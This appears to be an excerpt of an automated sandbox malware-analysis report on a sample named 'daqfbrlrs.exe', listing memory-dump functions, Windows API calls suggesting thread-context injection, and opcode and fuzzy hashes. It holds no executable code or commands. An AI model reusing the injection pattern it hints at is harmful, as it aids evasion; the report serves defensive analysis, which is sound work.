Source File: 00000006.00000002.2964739120.0000000002E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e40000_daqfbrlrs.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 019a257dabc771c0af47b2d0a08c84e957a0f88a716d0d3ad68238650713b496
Instruction ID: 9c93d158d14a5e3c88c12c05882f5d1a6aa7dbb41b73f056c9892b93add220a3
Opcode Fuzzy Hash: 019a257dabc771c0af47b2d0a08c84e957a0f88a716d0d3ad68238650713b496
Instruction Fuzzy Hash: 503188B9D002589FCF10CFA9D980ADEFBB5BB49314F10A42AE815B7210D775A946CF64

Uniqueness

Uniqueness Score: -1.00%

Function 02E4A808 Relevance: 1.6, APIs: 1, Instructions: 99
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 02E4A8BF

Memory Dump Source

Source File: 00000006.00000002.2964739120.0000000002E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e40000_daqfbrlrs.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 0fcf2c0ce4676bd762f29b17c170eadc14ff1647efef62d63c2d772f855d9088
Instruction ID: 1c4fcd7fb23ed0fd41b1bd6204ad3fff22d29d8b47b866b013af83f12c5a0115
Opcode Fuzzy Hash: 0fcf2c0ce4676bd762f29b17c170eadc14ff1647efef62d63c2d772f855d9088
Instruction Fuzzy Hash: 2A41BCB5D412589FCB14CFA9D984AEEBBF0FB49314F14902AE409B7240D738A946CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02E4A810 Relevance: 1.6, APIs: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 02E4A8BF

Memory Dump Source

Source File: 00000006.00000002.2964739120.0000000002E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e40000_daqfbrlrs.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 77653f562d3043c41a18c8312b8983e103d3bbdd0c8776da24887cbb0ed4e996
Instruction ID: b77f18dcec9b965c6307106013eeac39e73c8e125b801a763891e9125a8a37cd
Opcode Fuzzy Hash: 77653f562d3043c41a18c8312b8983e103d3bbdd0c8776da24887cbb0ed4e996
Instruction Fuzzy Hash: 4D31ABB4D012589FCB14DFAAD984AEEFBF1BB49314F14902AE419B7240C738A946CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02E4A050 Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 02E4A0D6

Memory Dump Source

Source File: 00000006.00000002.2964739120.0000000002E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e40000_daqfbrlrs.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 0c86cc9bd156dd6c8b7e6f9b4df2db6cb2b2e56cde38e3de942cb7c8919bd9ee
Instruction ID: 98a50525e5b9bd68571657f0983183fbdd581af01683403bdef5485648aaf08d
Opcode Fuzzy Hash: 0c86cc9bd156dd6c8b7e6f9b4df2db6cb2b2e56cde38e3de942cb7c8919bd9ee
Instruction Fuzzy Hash: F831D0B5C002189FCF14DFA9E485AEEFBB5AB49310F14942AE415B7340CB38A946CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02E4B8E1 Relevance: 1.6, APIs: 1, Instructions: 78threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 02E4B966

Memory Dump Source

Source File: 00000006.00000002.2964739120.0000000002E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e40000_daqfbrlrs.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: fe7d54ceefb0cb6a338505de120df458b5398960d8c9103fa6012ef6a1ca2515
Instruction ID: 550dbc5a38059519b638b06b9efeea6cf1859f836dd865bd3eadce8bfd9ab90f
Opcode Fuzzy Hash: fe7d54ceefb0cb6a338505de120df458b5398960d8c9103fa6012ef6a1ca2515
Instruction Fuzzy Hash: BA31CFB4D012589FCB14DFA9E585AEEFBB4BF49314F10942AE515B7310CB34A941CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02E4A058 Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 02E4A0D6

Memory Dump Source

Source File: 00000006.00000002.2964739120.0000000002E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e40000_daqfbrlrs.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 51248ad4a6e4a262c74ebf053d594deef0ee77ccca20b5aefdfce13d1ca748e6
Instruction ID: 7d710f951aa1f4a29d53ff31111fc7dcb8e73765596579d19e9cc4b50a9af5ce
Opcode Fuzzy Hash: 51248ad4a6e4a262c74ebf053d594deef0ee77ccca20b5aefdfce13d1ca748e6
Instruction Fuzzy Hash: 8631E0B5C002189FCB10CFA9D484AEEFBB5BF49310F14902AE415B3340C738A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 02E4B8E8 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 02E4B966

Memory Dump Source

Source File: 00000006.00000002.2964739120.0000000002E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e40000_daqfbrlrs.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 57c1d261d5a2419c133b55de0d1b85b79ea1b6fc50d590fd5f3872a0e138c57e
Instruction ID: 58d6beee1456c5fd9950439cbcf83a6242d213d82f3d9d85b60da68490133851
Opcode Fuzzy Hash: 57c1d261d5a2419c133b55de0d1b85b79ea1b6fc50d590fd5f3872a0e138c57e
Instruction Fuzzy Hash: 3331CCB4D002189FCB14CFA9E581ADEFBB4BF49314F10942AE419B7300CB34A841CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06CC51CF Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

E, xrefs: 06CC5246

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: E
API String ID: 0-3568589458
Opcode ID: 461c2bf9a88cb88b054527bc2189d5e8f15c042939603f30feaa414f064e221f
Instruction ID: 87fd034a43fe10aa74f653f16fb6b21b9badd723c36de1d7f502d171007cc11e
Opcode Fuzzy Hash: 461c2bf9a88cb88b054527bc2189d5e8f15c042939603f30feaa414f064e221f
Instruction Fuzzy Hash: 9E01AE74A00229CFDBA5DF29D888AD8B7F1FB49314F1084E9E519A7240DB349F84CF00

Uniqueness

Uniqueness Score: -1.00%

Function 06CC2059 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

<, xrefs: 06CC20AE

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 3ec9a072ce3daf82f09662b165d0a623d831a76fa83634ba6521816cc7acd6fe
Instruction ID: c5920e65a4d3751deca220bd865e503c19eb42eb9c11d965cf9788dbd5cce6bf
Opcode Fuzzy Hash: 3ec9a072ce3daf82f09662b165d0a623d831a76fa83634ba6521816cc7acd6fe
Instruction Fuzzy Hash: 5CF03430E0115ACFDBA69F18D888BD8B2F5FB49309F0084E8D618A3280C7B98EC48F01

Uniqueness

Uniqueness Score: -1.00%

Function 06CDE028 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f25000f6f9cd45dc60ca3261288538675e1c98a6cc6e286e1f89390d71d3c813
Instruction ID: 97d3c28b4f4d9768a7bf64304827dafc5d22fe288866353948de5d34fea0a093
Opcode Fuzzy Hash: f25000f6f9cd45dc60ca3261288538675e1c98a6cc6e286e1f89390d71d3c813
Instruction Fuzzy Hash: 40B1F274E05259CFDB84DFA9D8886ADBBF2FB48304F10802AE605AB355DB349D45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02DDFC60 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2964086665.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dd0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61afec8e333f6771d831b690f8989bcc7caa0c60c931c2a949f32e3639af679e
Instruction ID: 832d43923121b5262f98c612ce45cf51f89fc86416c6aa193c4d83458c6baeca
Opcode Fuzzy Hash: 61afec8e333f6771d831b690f8989bcc7caa0c60c931c2a949f32e3639af679e
Instruction Fuzzy Hash: D5514F34B006099FCB14DF64E458EAEBBB6FF88711F008129E9069B3A4DF349946CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06CDF520 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 279c930952bdb724f049617ba988f1eb589b8cf0e607a72caa2fbcffdbb98504
Instruction ID: b43524817f1a4da20b6082b1c2e6a6516ab6519a8468edc7ee22e7a770ab4b06
Opcode Fuzzy Hash: 279c930952bdb724f049617ba988f1eb589b8cf0e607a72caa2fbcffdbb98504
Instruction Fuzzy Hash: E331E2317092409FC3659F69E49496ABFE5EF81310B1980BEE61BCB6A2DA30EC46C750

Uniqueness

Uniqueness Score: -1.00%

Function 02DD0B84 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2964086665.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dd0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2351da97f7f236744267e34e4197376bd88b8a9e0b1a498ba4a43dc7126cacc
Instruction ID: e7f1ecba5a2b5024d68e58c29b39d929426d97f3ae2c4bb6a39335f35ef62203
Opcode Fuzzy Hash: f2351da97f7f236744267e34e4197376bd88b8a9e0b1a498ba4a43dc7126cacc
Instruction Fuzzy Hash: 9B419135A04509DFCB44CF98C9809ADBBB2FF88315F259899E815AB355C731ED46CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02DD0881 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2964086665.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dd0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 906b9f0e2934855037ce5a7f3778810a7e8fea01d6b19ed49abe88e11518c7bc
Instruction ID: 8880db8f5954e92c746fa590c46ed4bc6fedfc405c6e46e9a1c5da88c3a5d0c3
Opcode Fuzzy Hash: 906b9f0e2934855037ce5a7f3778810a7e8fea01d6b19ed49abe88e11518c7bc
Instruction Fuzzy Hash: EC415B70A0020A8FCB01DF68D990AAEFBB5FFC4304F04866AD815AB355E738AC05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02DD08A8 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2964086665.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dd0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edea9c7336ff236ed5f6daca69bdb6f3b61e3af8a912610d98e4bd40e6bb860e
Instruction ID: 29788e3f4dfa13bd7099dc9bb161f081f12cabf1e05ab138a837e1c79446fa5e
Opcode Fuzzy Hash: edea9c7336ff236ed5f6daca69bdb6f3b61e3af8a912610d98e4bd40e6bb860e
Instruction Fuzzy Hash: A931FA74A0060A9FDB04DF69D990A9EFBF5FFC8300F148669D819AB355EB34AD05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0154D01C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2963427277.000000000154D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0154D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_154d000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b600b98fa5212768346824504a569f26b9f5b68143c6d0eb6aeaa083feb8b185
Instruction ID: d3516cfe932e3a978104cbcb894cd64b6fcfb1c523b7eb771d4daf8a49d25240
Opcode Fuzzy Hash: b600b98fa5212768346824504a569f26b9f5b68143c6d0eb6aeaa083feb8b185
Instruction Fuzzy Hash: 61210371104244DFCB15DF58D984B2ABFB5FB94358F208569E9090F246D33AD406C6A2

Uniqueness

Uniqueness Score: -1.00%

Function 02DDD238 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2964086665.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dd0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e59302e108a797857e2f3ca20e32ea4f9fec381bfe1079b17002a2cfc41656a
Instruction ID: 0c27f9542c650227c24829af1dc2af22ae52b971d34ca87d0b02ec2d827ca2fa
Opcode Fuzzy Hash: 5e59302e108a797857e2f3ca20e32ea4f9fec381bfe1079b17002a2cfc41656a
Instruction Fuzzy Hash: 4A21F2B4904609EFDB00DFA9C4487AEBBF6FB89304F50C4B9C009A7354DB798A85CB01

Uniqueness

Uniqueness Score: -1.00%

Function 0154D006 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2963427277.000000000154D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0154D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_154d000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96c36e1343e99d7c10c05a73c559a3b91097ac3cd2f76657f36a0090bcacd5ef
Instruction ID: 9711a73f387ec3e87b56f7bad97fabb3da0ee97006a36d6573d22594fe856956
Opcode Fuzzy Hash: 96c36e1343e99d7c10c05a73c559a3b91097ac3cd2f76657f36a0090bcacd5ef
Instruction Fuzzy Hash: AC21B0760093808FCB13CF24D994B16BF71FB86214F2881DAD8488F657C33AD80ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 02DDEC40 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2964086665.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dd0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b01ba2b41b02a21b896dbd9c9aa72419c9ba18ed5cffdc0621c2371c2d42428
Instruction ID: b53fc6355339282fc9cf93b6fc698632f370c9ac88634eb968efb7b3edc05530
Opcode Fuzzy Hash: 8b01ba2b41b02a21b896dbd9c9aa72419c9ba18ed5cffdc0621c2371c2d42428
Instruction Fuzzy Hash: 9C112074D04619CFCB05CFAAC8846EEBBB6FB88310F00882AD504B7310D7305A94CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06CDDBE8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a88c0aa360303a1c009ed3b7b6b0ac7a810a01a34edfaccad0d73efe354c6df
Instruction ID: c3f4c7b0be062001e02e9e8a24a8441f2bd2d7101b88c441c2ef6256b65fd0ba
Opcode Fuzzy Hash: 5a88c0aa360303a1c009ed3b7b6b0ac7a810a01a34edfaccad0d73efe354c6df
Instruction Fuzzy Hash: 4E11C5B4E0020A9FCB48DFA9C9456AFFBF5FF88300F10896A9518A7354DB349A41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06CDDFC8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 515593e5c8af855b25dc24d1e6a75cd492ce3439d9018aa9236b3bfb0dcc95bc
Instruction ID: f7d14d3d14046fab09a091ad4903e2af63d1fe0381ecf82e6832603dedd7d1e6
Opcode Fuzzy Hash: 515593e5c8af855b25dc24d1e6a75cd492ce3439d9018aa9236b3bfb0dcc95bc
Instruction Fuzzy Hash: F9F0F874D08208AFCB90DFA9C840AADBBF8AB48211F14C09AA859D3241D6359A51DF90

Uniqueness

Uniqueness Score: -1.00%

Function 06CDE470 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 828ad8c6114606e557c7d6be485735b0fa2e68a17758be95462885fa0eefe0f2
Instruction ID: a832c9f06d0d37f84f2bf6dca08feee4d2c7edc66b84f3991236ea9d9ef69726
Opcode Fuzzy Hash: 828ad8c6114606e557c7d6be485735b0fa2e68a17758be95462885fa0eefe0f2
Instruction Fuzzy Hash: E9F0A574D05208AFC784DFA9D8406ADBBF4AB4C210F10C0AAA95897341D7359A55DF94

Uniqueness

Uniqueness Score: -1.00%

Function 02DDEA00 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2964086665.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dd0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c87ab3a6ccbb328b5935d799b83a032daf79f2924490e52e74213f2ac4537ae8
Instruction ID: 20771a827fc2f51d7b2b983406afb96d8fe9ffcf0623ed22065590e1ea064f01
Opcode Fuzzy Hash: c87ab3a6ccbb328b5935d799b83a032daf79f2924490e52e74213f2ac4537ae8
Instruction Fuzzy Hash: 25F0A578D09208EFCB84DFA8D840A9CBBB5FB48314F10C0AAA818A7351D7329E55DF80

Uniqueness

Uniqueness Score: -1.00%

Function 06CD9250 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faa296eb655352be469d7776e4110bf637b8e205c3947c3aa6817bfae57fc2d6
Instruction ID: 61496331e0cff88050b1b98f078315febd97c0da010616a5c5394a4417062be3
Opcode Fuzzy Hash: faa296eb655352be469d7776e4110bf637b8e205c3947c3aa6817bfae57fc2d6
Instruction Fuzzy Hash: 3AE0ED78E05208EFCB84DFA9D44469DFBF4EB48314F10C0A9D818A3341D7319A55DF80

Uniqueness

Uniqueness Score: -1.00%

Function 06CD51F0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faa296eb655352be469d7776e4110bf637b8e205c3947c3aa6817bfae57fc2d6
Instruction ID: 75a5849c13a06a2cab91a33604f84425e69bfc5995b3c8aa1f52a76b88c3181d
Opcode Fuzzy Hash: faa296eb655352be469d7776e4110bf637b8e205c3947c3aa6817bfae57fc2d6
Instruction Fuzzy Hash: 36E0ED74D05208EFCB84DFA9D544A9DFBF4EB48314F50C0AAA81893351D7319A55DF80

Uniqueness

Uniqueness Score: -1.00%

Function 02DD0838 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2964086665.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dd0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09cc015a904ee2b9bb2a38e1ce47d566bd8aebecdf49fe8d8e51ff22f39d8b67
Instruction ID: 2f07ee6d2249304d85b27fcea7df51bc79c7978dea425f6e5628507742c1ff5a
Opcode Fuzzy Hash: 09cc015a904ee2b9bb2a38e1ce47d566bd8aebecdf49fe8d8e51ff22f39d8b67
Instruction Fuzzy Hash: F4E04F70D41249EFCB90DFB4ED45AEEBBB8FBC5309B1145AAD409EB350E6304E049B51

Uniqueness

Uniqueness Score: -1.00%

Function 06CDEBC0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d890634185d3ca207e587615164206cf2dc6e9806ef99d15538862984d922b6b
Instruction ID: dbd22154c984e434ae610d4df43d4422d553e5b088272e0d24686a5f52aab921
Opcode Fuzzy Hash: d890634185d3ca207e587615164206cf2dc6e9806ef99d15538862984d922b6b
Instruction Fuzzy Hash: EBE0867490920CEFC744DFA4D8409ADBFB8EB49311F10C1E9E9455B381C731AA55DB94

Uniqueness

Uniqueness Score: -1.00%

Function 06CD7CF0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb9a64dce6d0d1431578aa9a8c6eec9a4ec7470280d2ad5765c77d6562e9ae84
Instruction ID: 064b316146f94792676280629e1acb2235e99bc2cbc86d0d96934cfe1efc02b2
Opcode Fuzzy Hash: bb9a64dce6d0d1431578aa9a8c6eec9a4ec7470280d2ad5765c77d6562e9ae84
Instruction Fuzzy Hash: 1CE01234D09208AFCB45DBA9D4446ACBBB4EB88204F10C0AAE81857381D7329A56DF90

Uniqueness

Uniqueness Score: -1.00%

Function 06CDCC08 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e8830f82bc26e7fabf2ebd87177f1294dd00796306d372a48571e4c4fa9c1fa
Instruction ID: 7ceac999812f8e5b0d06f6e9ff48de91c814e90c3d785566765c5f6aa21e1f44
Opcode Fuzzy Hash: 3e8830f82bc26e7fabf2ebd87177f1294dd00796306d372a48571e4c4fa9c1fa
Instruction Fuzzy Hash: ABE0C234D09108DFC704EFA4E8405ADFBB8EB85314F10C09CD90817341CB329E56DB80

Uniqueness

Uniqueness Score: -1.00%

Function 02DD0848 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2964086665.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2dd0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9294525c7f58ad88e8600864b44431fa98f83724b1ace4a59b8575d2bb9d4d20
Instruction ID: 87939ef333fea6346382657fbcb3a1ed837f0d8bd124d9b3f8713e333998568a
Opcode Fuzzy Hash: 9294525c7f58ad88e8600864b44431fa98f83724b1ace4a59b8575d2bb9d4d20
Instruction Fuzzy Hash: 1DD05E30A4020DEFCB40EFB8EA40A5DB7F9FB85205B5145A9D809EB310EB316F049B81

Uniqueness

Uniqueness Score: -1.00%

Function 06CDCF90 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2974792797.0000000006CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cc0000_daqfbrlrs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d7b6fdae72c33f2d1baf45d56609aac1fc30e91843006a914e9c1e4a87e35b7
Instruction ID: 535e0ef070fcfe145b2a56005eed5d4eb5e2557afacdcce0c72f3adb0a991a68
Opcode Fuzzy Hash: 2d7b6fdae72c33f2d1baf45d56609aac1fc30e91843006a914e9c1e4a87e35b7
Instruction Fuzzy Hash: A9C08C2005A2048BC2A0166D648C3F0B69C9706216F40A400B70C40052577040A8CBC0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: daqfbrlrs.exePID: 3716, Parent PID: 3440COMMON

Execution Graph

Execution Coverage:	10.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	136
Total number of Limit Nodes:	15

Executed Functions

Function 06233030 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06233788
$]q, xrefs: 06233758
$]q, xrefs: 0623373B
$]q, xrefs: 0623372F
$]q, xrefs: 06233764
$]q, xrefs: 0623377C

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: b7a793b99ff25341b1df9be19d3b6583260db321b9345bbe463de0f0fe7c81d2
Instruction ID: 5b5cd333bd16aed85f5ece0017dafb80fb41c8ddb76bce8fe233b2f191628166
Opcode Fuzzy Hash: b7a793b99ff25341b1df9be19d3b6583260db321b9345bbe463de0f0fe7c81d2
Instruction Fuzzy Hash: 27324031E1075ACFCB14EF75D89459DB7B2BF89300F11C66AD449AB264EB30AA85CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06237D40 Relevance: 3.0, Strings: 2, Instructions: 473
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 062382AC
$]q, xrefs: 062382B8

Memory Dump Source

Source File: 00000007.00000002.3266475026.0000000006230000.00000040.00000800.00020000.00000000.sdmp, Offset: 06230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6230000_daqfbrlrs.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 138a60bbdacb9e9d460bde8a22a97cd57780aa9978d3772737ae647e64275527
Instruction ID: 2a1f0084681253b5ff52c9829430875594ebc1817de25b93ec2d9fbb5063d2ba
Opcode Fuzzy Hash: 138a60bbdacb9e9d460bde8a22a97cd57780aa9978d3772737ae647e64275527
